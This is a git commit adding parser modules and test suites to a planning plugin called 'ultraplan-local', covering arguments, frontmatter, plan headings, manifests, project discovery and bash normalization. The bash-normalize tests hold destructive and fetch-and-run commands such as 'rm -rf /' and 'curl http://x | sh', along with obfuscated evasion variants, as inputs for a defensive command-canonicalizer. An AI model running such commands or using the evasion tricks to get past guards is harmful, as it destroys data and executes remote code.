feat(ultraplan-local): Spor 1 wave 1 — lib/parsers + 66 tests grønn
7 nye moduler:
- lib/util/result.mjs — Result-shape m/ ok/fail/combine helpers
- lib/util/frontmatter.mjs — håndruller YAML-frontmatter-parser (subset, zero deps)
- lib/parsers/plan-schema.mjs — v1.7 step-regex + forbidden-heading-deteksjon (Fase/Phase/Stage/Steg)
- lib/parsers/manifest-yaml.mjs — per-step Manifest YAML-ekstraksjon m/ regex-validering
- lib/parsers/project-discovery.mjs — finn brief/research/architecture/plan/progress i prosjektmappe
- lib/parsers/arg-parser.mjs — $ARGUMENTS for alle 4 commands m/ flag-schema
- lib/parsers/bash-normalize.mjs — løftet fra hooks/scripts/pre-bash-executor.mjs
6 test-filer (66 tester totalt) — alle grønn:
- frontmatter (CRLF/BOM, scalars, lister, indent-rejection)
- plan-schema (positive Step-form, negative Fase/Phase/Stage/Steg, numbering, slicing)
- manifest-yaml (extraction, parsing, regex-validering, missing-key detection)
- project-discovery (sortert research, architecture-detection, phase-requirements)
- arg-parser (boolean/valued/multi-value flags, kvotert positional, ukjente flag)
- bash-normalize (\${x}/\\\\evasion, ANSI-stripping, full canonicalize-pipeline)
Forbereder Wave 2 (validators) og Spor 1-wiring inn i commands.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
This commit is contained in:
parent
c4183b8b4d
commit
205cdbf77f
13 changed files with 1224 additions and 0 deletions
77
plugins/ultraplan-local/tests/lib/arg-parser.test.mjs
Normal file
77
plugins/ultraplan-local/tests/lib/arg-parser.test.mjs
Normal file
|
|
@ -0,0 +1,77 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { parseArgs } from '../../lib/parsers/arg-parser.mjs';
|
||||
|
||||
test('ultrabrief — empty args', () => {
|
||||
const r = parseArgs('', 'ultrabrief');
|
||||
assert.equal(r.command, 'ultrabrief');
|
||||
assert.deepEqual(r.flags, {});
|
||||
});
|
||||
|
||||
test('ultrabrief — --quick boolean', () => {
|
||||
const r = parseArgs('--quick', 'ultrabrief');
|
||||
assert.equal(r.flags['--quick'], true);
|
||||
});
|
||||
|
||||
test('ultraresearch — --project value capture', () => {
|
||||
const r = parseArgs('--project .claude/projects/2026-04-30-foo', 'ultraresearch');
|
||||
assert.equal(r.flags['--project'], '.claude/projects/2026-04-30-foo');
|
||||
});
|
||||
|
||||
test('ultraresearch — --quick --local combined', () => {
|
||||
const r = parseArgs('--quick --local', 'ultraresearch');
|
||||
assert.equal(r.flags['--quick'], true);
|
||||
assert.equal(r.flags['--local'], true);
|
||||
});
|
||||
|
||||
test('ultraplan — --research multi-value', () => {
|
||||
const r = parseArgs('--research a.md b.md c.md', 'ultraplan');
|
||||
assert.deepEqual(r.flags['--research'], ['a.md', 'b.md', 'c.md']);
|
||||
});
|
||||
|
||||
test('ultraplan — --research multi stops at next flag', () => {
|
||||
const r = parseArgs('--research a.md b.md --project /x', 'ultraplan');
|
||||
assert.deepEqual(r.flags['--research'], ['a.md', 'b.md']);
|
||||
assert.equal(r.flags['--project'], '/x');
|
||||
});
|
||||
|
||||
test('ultraplan — --brief required-value flag', () => {
|
||||
const r = parseArgs('--brief brief.md', 'ultraplan');
|
||||
assert.equal(r.flags['--brief'], 'brief.md');
|
||||
});
|
||||
|
||||
test('ultraplan — missing value for --brief produces error', () => {
|
||||
const r = parseArgs('--brief --quick', 'ultraplan');
|
||||
assert.ok(r.errors.find(e => e.code === 'ARG_MISSING_VALUE'));
|
||||
});
|
||||
|
||||
test('ultraplan — --decompose value flag', () => {
|
||||
const r = parseArgs('--decompose plan.md', 'ultraplan');
|
||||
assert.equal(r.flags['--decompose'], 'plan.md');
|
||||
});
|
||||
|
||||
test('ultraexecute — --resume + --project', () => {
|
||||
const r = parseArgs('--resume --project /tmp/p', 'ultraexecute');
|
||||
assert.equal(r.flags['--resume'], true);
|
||||
assert.equal(r.flags['--project'], '/tmp/p');
|
||||
});
|
||||
|
||||
test('ultraexecute — --step N value', () => {
|
||||
const r = parseArgs('--step 3', 'ultraexecute');
|
||||
assert.equal(r.flags['--step'], '3');
|
||||
});
|
||||
|
||||
test('ultraexecute — unknown flag goes to unknown[]', () => {
|
||||
const r = parseArgs('--mystery foo', 'ultraexecute');
|
||||
assert.ok(r.unknown.includes('--mystery'));
|
||||
});
|
||||
|
||||
test('quoted positional with spaces preserved', () => {
|
||||
const r = parseArgs('"hello world" simple', 'ultrabrief');
|
||||
assert.deepEqual(r.positional, ['hello world', 'simple']);
|
||||
});
|
||||
|
||||
test('unknown command reported as error', () => {
|
||||
const r = parseArgs('--quick', 'notacommand');
|
||||
assert.ok(r.errors.find(e => e.code === 'ARG_UNKNOWN_COMMAND'));
|
||||
});
|
||||
49
plugins/ultraplan-local/tests/lib/bash-normalize.test.mjs
Normal file
49
plugins/ultraplan-local/tests/lib/bash-normalize.test.mjs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import {
|
||||
normalizeBashExpansion,
|
||||
normalizeCommand,
|
||||
canonicalize,
|
||||
} from '../../lib/parsers/bash-normalize.mjs';
|
||||
|
||||
test('normalizeBashExpansion — empty single quotes stripped', () => {
|
||||
assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — empty double quotes stripped', () => {
|
||||
assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — single-char ${x} resolved', () => {
|
||||
assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — multi-char ${...} stripped', () => {
|
||||
assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
|
||||
assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — empty backtick subshell stripped', () => {
|
||||
assert.equal(normalizeBashExpansion('rm -rf ` ` /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — non-string input safe', () => {
|
||||
assert.equal(normalizeBashExpansion(undefined), '');
|
||||
assert.equal(normalizeBashExpansion(null), '');
|
||||
assert.equal(normalizeBashExpansion(42), '');
|
||||
});
|
||||
|
||||
test('normalizeCommand — ANSI codes stripped', () => {
|
||||
assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeCommand — whitespace collapsed', () => {
|
||||
assert.equal(normalizeCommand(' git status '), 'git status');
|
||||
});
|
||||
|
||||
test('canonicalize — full pipeline on evasion', () => {
|
||||
assert.equal(canonicalize(' c${u}r\\l http://x | sh '), 'curl http://x | sh');
|
||||
});
|
||||
74
plugins/ultraplan-local/tests/lib/frontmatter.test.mjs
Normal file
74
plugins/ultraplan-local/tests/lib/frontmatter.test.mjs
Normal file
|
|
@ -0,0 +1,74 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { splitFrontmatter, parseFrontmatter, parseDocument } from '../../lib/util/frontmatter.mjs';
|
||||
|
||||
test('splitFrontmatter — basic LF', () => {
|
||||
const r = splitFrontmatter('---\nfoo: bar\n---\nbody here\n');
|
||||
assert.equal(r.hasFrontmatter, true);
|
||||
assert.equal(r.frontmatter, 'foo: bar');
|
||||
assert.equal(r.body, 'body here\n');
|
||||
});
|
||||
|
||||
test('splitFrontmatter — CRLF tolerated', () => {
|
||||
const r = splitFrontmatter('---\r\nfoo: bar\r\n---\r\nbody\r\n');
|
||||
assert.equal(r.hasFrontmatter, true);
|
||||
assert.equal(r.frontmatter, 'foo: bar');
|
||||
});
|
||||
|
||||
test('splitFrontmatter — BOM stripped', () => {
|
||||
const r = splitFrontmatter('---\nfoo: bar\n---\n');
|
||||
assert.equal(r.hasFrontmatter, true);
|
||||
});
|
||||
|
||||
test('splitFrontmatter — no frontmatter', () => {
|
||||
const r = splitFrontmatter('# title\nbody only\n');
|
||||
assert.equal(r.hasFrontmatter, false);
|
||||
assert.match(r.body, /title/);
|
||||
});
|
||||
|
||||
test('parseFrontmatter — string scalars', () => {
|
||||
const r = parseFrontmatter('type: ultrabrief\nslug: jwt-auth\n');
|
||||
assert.equal(r.valid, true);
|
||||
assert.equal(r.parsed.type, 'ultrabrief');
|
||||
assert.equal(r.parsed.slug, 'jwt-auth');
|
||||
});
|
||||
|
||||
test('parseFrontmatter — number, bool, null', () => {
|
||||
const r = parseFrontmatter('research_topics: 3\nautoResearch: true\nfoo: false\nbar: null\n');
|
||||
assert.equal(r.parsed.research_topics, 3);
|
||||
assert.equal(r.parsed.autoResearch, true);
|
||||
assert.equal(r.parsed.foo, false);
|
||||
assert.equal(r.parsed.bar, null);
|
||||
});
|
||||
|
||||
test('parseFrontmatter — quoted strings', () => {
|
||||
const r = parseFrontmatter('plan_version: "1.7"\nname: \'test thing\'\n');
|
||||
assert.equal(r.parsed.plan_version, '1.7');
|
||||
assert.equal(r.parsed.name, 'test thing');
|
||||
});
|
||||
|
||||
test('parseFrontmatter — list of scalars', () => {
|
||||
const r = parseFrontmatter('keywords:\n - planning\n - research\n - agents\n');
|
||||
assert.equal(r.valid, true);
|
||||
assert.deepEqual(r.parsed.keywords, ['planning', 'research', 'agents']);
|
||||
});
|
||||
|
||||
test('parseFrontmatter — rejects nested dict', () => {
|
||||
const r = parseFrontmatter('a: 1\n b: 2\n');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'FM_INDENT'));
|
||||
});
|
||||
|
||||
test('parseDocument — full pipeline', () => {
|
||||
const text = '---\ntype: ultrabrief\nresearch_topics: 2\n---\n\n# Body\n\ncontent\n';
|
||||
const r = parseDocument(text);
|
||||
assert.equal(r.valid, true);
|
||||
assert.equal(r.parsed.frontmatter.type, 'ultrabrief');
|
||||
assert.match(r.parsed.body, /content/);
|
||||
});
|
||||
|
||||
test('parseDocument — missing frontmatter is an error', () => {
|
||||
const r = parseDocument('# just markdown\nno frontmatter here\n');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'FM_MISSING'));
|
||||
});
|
||||
110
plugins/ultraplan-local/tests/lib/manifest-yaml.test.mjs
Normal file
110
plugins/ultraplan-local/tests/lib/manifest-yaml.test.mjs
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import {
|
||||
extractManifestYaml,
|
||||
parseManifest,
|
||||
validateAllManifests,
|
||||
} from '../../lib/parsers/manifest-yaml.mjs';
|
||||
|
||||
const STEP_BODY_GOOD = `### Step 1: Add validator
|
||||
|
||||
- Files: lib/foo.mjs
|
||||
- Verify: \`npm test\` → expected: pass
|
||||
- Checkpoint: \`git commit -m "feat(lib): foo"\`
|
||||
- Manifest:
|
||||
\`\`\`yaml
|
||||
manifest:
|
||||
expected_paths:
|
||||
- lib/foo.mjs
|
||||
min_file_count: 1
|
||||
commit_message_pattern: "^feat\\\\(lib\\\\):"
|
||||
bash_syntax_check: []
|
||||
forbidden_paths: []
|
||||
must_contain: []
|
||||
\`\`\`
|
||||
`;
|
||||
|
||||
const STEP_BODY_NO_MANIFEST = `### Step 1: oops
|
||||
|
||||
no manifest here
|
||||
`;
|
||||
|
||||
const STEP_BODY_INVALID_REGEX = `### Step 1: bad regex
|
||||
|
||||
- Manifest:
|
||||
\`\`\`yaml
|
||||
manifest:
|
||||
expected_paths:
|
||||
- x
|
||||
min_file_count: 1
|
||||
commit_message_pattern: "[unclosed"
|
||||
bash_syntax_check: []
|
||||
forbidden_paths: []
|
||||
must_contain: []
|
||||
\`\`\`
|
||||
`;
|
||||
|
||||
test('extractManifestYaml — finds fenced manifest block', () => {
|
||||
const yaml = extractManifestYaml(STEP_BODY_GOOD);
|
||||
assert.ok(yaml);
|
||||
assert.match(yaml, /expected_paths/);
|
||||
});
|
||||
|
||||
test('extractManifestYaml — null when missing', () => {
|
||||
assert.equal(extractManifestYaml(STEP_BODY_NO_MANIFEST), null);
|
||||
});
|
||||
|
||||
test('parseManifest — happy path produces all required keys', () => {
|
||||
const r = parseManifest(STEP_BODY_GOOD);
|
||||
assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
assert.deepEqual(r.parsed.expected_paths, ['lib/foo.mjs']);
|
||||
assert.equal(r.parsed.min_file_count, 1);
|
||||
assert.match(r.parsed.commit_message_pattern, /^\^feat/);
|
||||
});
|
||||
|
||||
test('parseManifest — missing manifest produces MANIFEST_MISSING', () => {
|
||||
const r = parseManifest(STEP_BODY_NO_MANIFEST);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING'));
|
||||
});
|
||||
|
||||
test('parseManifest — invalid regex caught', () => {
|
||||
const r = parseManifest(STEP_BODY_INVALID_REGEX);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'MANIFEST_PATTERN_INVALID'));
|
||||
});
|
||||
|
||||
test('parseManifest — missing required key flagged', () => {
|
||||
const noCount = `### Step 1
|
||||
- Manifest:
|
||||
\`\`\`yaml
|
||||
manifest:
|
||||
expected_paths:
|
||||
- x
|
||||
commit_message_pattern: "^x:"
|
||||
bash_syntax_check: []
|
||||
forbidden_paths: []
|
||||
must_contain: []
|
||||
\`\`\`
|
||||
`;
|
||||
const r = parseManifest(noCount);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING_KEY' && /min_file_count/.test(e.message)));
|
||||
});
|
||||
|
||||
test('parseManifest — commit_message_pattern compiles via new RegExp', () => {
|
||||
const r = parseManifest(STEP_BODY_GOOD);
|
||||
const re = new RegExp(r.parsed.commit_message_pattern);
|
||||
assert.ok(re.test('feat(lib): added foo'));
|
||||
assert.ok(!re.test('chore: not it'));
|
||||
});
|
||||
|
||||
test('validateAllManifests — aggregates per-step issues', () => {
|
||||
const steps = [
|
||||
{ n: 1, body: STEP_BODY_GOOD },
|
||||
{ n: 2, body: STEP_BODY_NO_MANIFEST },
|
||||
];
|
||||
const r = validateAllManifests(steps);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => /Step 2/.test(e.message)));
|
||||
});
|
||||
137
plugins/ultraplan-local/tests/lib/plan-schema.test.mjs
Normal file
137
plugins/ultraplan-local/tests/lib/plan-schema.test.mjs
Normal file
|
|
@ -0,0 +1,137 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import {
|
||||
findSteps,
|
||||
findForbiddenHeadings,
|
||||
sliceSteps,
|
||||
validatePlanHeadings,
|
||||
extractPlanVersion,
|
||||
} from '../../lib/parsers/plan-schema.mjs';
|
||||
|
||||
const GOOD_PLAN = `---
|
||||
plan_version: "1.7"
|
||||
---
|
||||
|
||||
## Implementation Plan
|
||||
|
||||
### Step 1: First step
|
||||
|
||||
- Files: a.ts
|
||||
|
||||
### Step 2: Second step
|
||||
|
||||
- Files: b.ts
|
||||
|
||||
### Step 3: Third step
|
||||
|
||||
- Files: c.ts
|
||||
`;
|
||||
|
||||
const FORBIDDEN_FASE = `## Implementation Plan
|
||||
|
||||
## Fase 1: Forberedelse
|
||||
|
||||
content here
|
||||
|
||||
## Fase 2: Implementering
|
||||
|
||||
more content
|
||||
`;
|
||||
|
||||
const FORBIDDEN_PHASE = `### Phase 1: Setup
|
||||
|
||||
content
|
||||
`;
|
||||
|
||||
const FORBIDDEN_STAGE = `### Stage 1: Initial work
|
||||
|
||||
content
|
||||
`;
|
||||
|
||||
const FORBIDDEN_STEG = `### Steg 1: Norsk drift
|
||||
|
||||
content
|
||||
`;
|
||||
|
||||
test('findSteps — locates all canonical step headings', () => {
|
||||
const steps = findSteps(GOOD_PLAN);
|
||||
assert.equal(steps.length, 3);
|
||||
assert.equal(steps[0].n, 1);
|
||||
assert.equal(steps[0].title, 'First step');
|
||||
assert.equal(steps[2].n, 3);
|
||||
assert.equal(steps[2].title, 'Third step');
|
||||
});
|
||||
|
||||
test('findSteps — empty for plan without steps', () => {
|
||||
assert.deepEqual(findSteps('## Implementation Plan\n\nno steps yet'), []);
|
||||
});
|
||||
|
||||
test('findForbiddenHeadings — Fase (Norwegian)', () => {
|
||||
const f = findForbiddenHeadings(FORBIDDEN_FASE);
|
||||
assert.equal(f.length, 2);
|
||||
assert.match(f[0].raw, /Fase 1/);
|
||||
});
|
||||
|
||||
test('findForbiddenHeadings — Phase (English)', () => {
|
||||
const f = findForbiddenHeadings(FORBIDDEN_PHASE);
|
||||
assert.equal(f.length, 1);
|
||||
});
|
||||
|
||||
test('findForbiddenHeadings — Stage', () => {
|
||||
assert.equal(findForbiddenHeadings(FORBIDDEN_STAGE).length, 1);
|
||||
});
|
||||
|
||||
test('findForbiddenHeadings — Steg (Norwegian variant)', () => {
|
||||
assert.equal(findForbiddenHeadings(FORBIDDEN_STEG).length, 1);
|
||||
});
|
||||
|
||||
test('findForbiddenHeadings — clean plan has zero', () => {
|
||||
assert.equal(findForbiddenHeadings(GOOD_PLAN).length, 0);
|
||||
});
|
||||
|
||||
test('sliceSteps — body bounded by next step', () => {
|
||||
const sections = sliceSteps(GOOD_PLAN);
|
||||
assert.equal(sections.length, 3);
|
||||
assert.match(sections[0].body, /First step/);
|
||||
assert.match(sections[0].body, /Files: a\.ts/);
|
||||
assert.ok(!sections[0].body.includes('Second step'));
|
||||
});
|
||||
|
||||
test('validatePlanHeadings — strict accepts good plan', () => {
|
||||
const r = validatePlanHeadings(GOOD_PLAN, { strict: true });
|
||||
assert.equal(r.valid, true);
|
||||
assert.equal(r.parsed.steps.length, 3);
|
||||
});
|
||||
|
||||
test('validatePlanHeadings — strict rejects forbidden Fase form', () => {
|
||||
const r = validatePlanHeadings(FORBIDDEN_FASE, { strict: true });
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'));
|
||||
});
|
||||
|
||||
test('validatePlanHeadings — soft mode demotes forbidden to warning', () => {
|
||||
const r = validatePlanHeadings(`### Step 1: ok\n\n### Phase 2: drift\n`, { strict: false });
|
||||
assert.equal(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'), undefined);
|
||||
assert.ok(r.warnings.find(w => w.code === 'PLAN_FORBIDDEN_HEADING'));
|
||||
});
|
||||
|
||||
test('validatePlanHeadings — non-contiguous numbering is an error', () => {
|
||||
const broken = '### Step 1: ok\ncontent\n\n### Step 3: skip\ncontent\n';
|
||||
const r = validatePlanHeadings(broken, { strict: true });
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'PLAN_STEP_NUMBERING'));
|
||||
});
|
||||
|
||||
test('validatePlanHeadings — empty plan errors with PLAN_NO_STEPS', () => {
|
||||
const r = validatePlanHeadings('## Implementation Plan\n\nno steps\n');
|
||||
assert.ok(r.errors.find(e => e.code === 'PLAN_NO_STEPS'));
|
||||
});
|
||||
|
||||
test('extractPlanVersion — from frontmatter', () => {
|
||||
assert.equal(extractPlanVersion('plan_version: "1.7"\nfoo: bar\n'), '1.7');
|
||||
assert.equal(extractPlanVersion('plan_version: 1.8\n'), '1.8');
|
||||
});
|
||||
|
||||
test('extractPlanVersion — null when absent', () => {
|
||||
assert.equal(extractPlanVersion('foo: bar\n'), null);
|
||||
});
|
||||
106
plugins/ultraplan-local/tests/lib/project-discovery.test.mjs
Normal file
106
plugins/ultraplan-local/tests/lib/project-discovery.test.mjs
Normal file
|
|
@ -0,0 +1,106 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import {
|
||||
discoverProject,
|
||||
checkPhaseRequirements,
|
||||
} from '../../lib/parsers/project-discovery.mjs';
|
||||
|
||||
function setupProject(structure) {
|
||||
const root = mkdtempSync(join(tmpdir(), 'ultraplan-disc-'));
|
||||
for (const [path, content] of Object.entries(structure)) {
|
||||
const full = join(root, path);
|
||||
mkdirSync(join(full, '..'), { recursive: true });
|
||||
writeFileSync(full, content);
|
||||
}
|
||||
return root;
|
||||
}
|
||||
|
||||
test('discoverProject — finds brief, plan, progress at root', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
'plan.md': 'p',
|
||||
'progress.json': '{}',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.brief, join(root, 'brief.md'));
|
||||
assert.equal(a.plan, join(root, 'plan.md'));
|
||||
assert.equal(a.progress, join(root, 'progress.json'));
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — research files sorted by name', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
'research/03-third.md': 't',
|
||||
'research/01-first.md': 'f',
|
||||
'research/02-second.md': 's',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.research.length, 3);
|
||||
assert.match(a.research[0], /01-first/);
|
||||
assert.match(a.research[1], /02-second/);
|
||||
assert.match(a.research[2], /03-third/);
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — architecture overview + gaps detected', () => {
|
||||
const root = setupProject({
|
||||
'brief.md': 'b',
|
||||
'architecture/overview.md': 'o',
|
||||
'architecture/gaps.md': 'g',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.match(a.architecture.overview, /architecture\/overview\.md$/);
|
||||
assert.match(a.architecture.gaps, /architecture\/gaps\.md$/);
|
||||
assert.equal(a.architecture.looseFiles.length, 0);
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — loose architecture files surfaced for drift detection', () => {
|
||||
const root = setupProject({
|
||||
'architecture/overview.md': 'o',
|
||||
'architecture/random-note.md': 'x',
|
||||
});
|
||||
try {
|
||||
const a = discoverProject(root);
|
||||
assert.equal(a.architecture.looseFiles.length, 1);
|
||||
assert.match(a.architecture.looseFiles[0], /random-note/);
|
||||
} finally {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('discoverProject — missing project dir returns empty artifacts', () => {
|
||||
const a = discoverProject('/nonexistent/path/unlikely');
|
||||
assert.equal(a.brief, null);
|
||||
assert.equal(a.research.length, 0);
|
||||
});
|
||||
|
||||
test('checkPhaseRequirements — research needs brief', () => {
|
||||
const r = checkPhaseRequirements({ brief: null }, 'research');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_BRIEF'));
|
||||
});
|
||||
|
||||
test('checkPhaseRequirements — execute needs plan', () => {
|
||||
const r = checkPhaseRequirements({ brief: 'x', plan: null }, 'execute');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_PLAN'));
|
||||
});
|
||||
|
||||
test('checkPhaseRequirements — happy path', () => {
|
||||
const r = checkPhaseRequirements({ brief: 'x', plan: 'y' }, 'plan');
|
||||
assert.equal(r.valid, true);
|
||||
});
|
||||
Loading…
Add table
Add a link
Reference in a new issue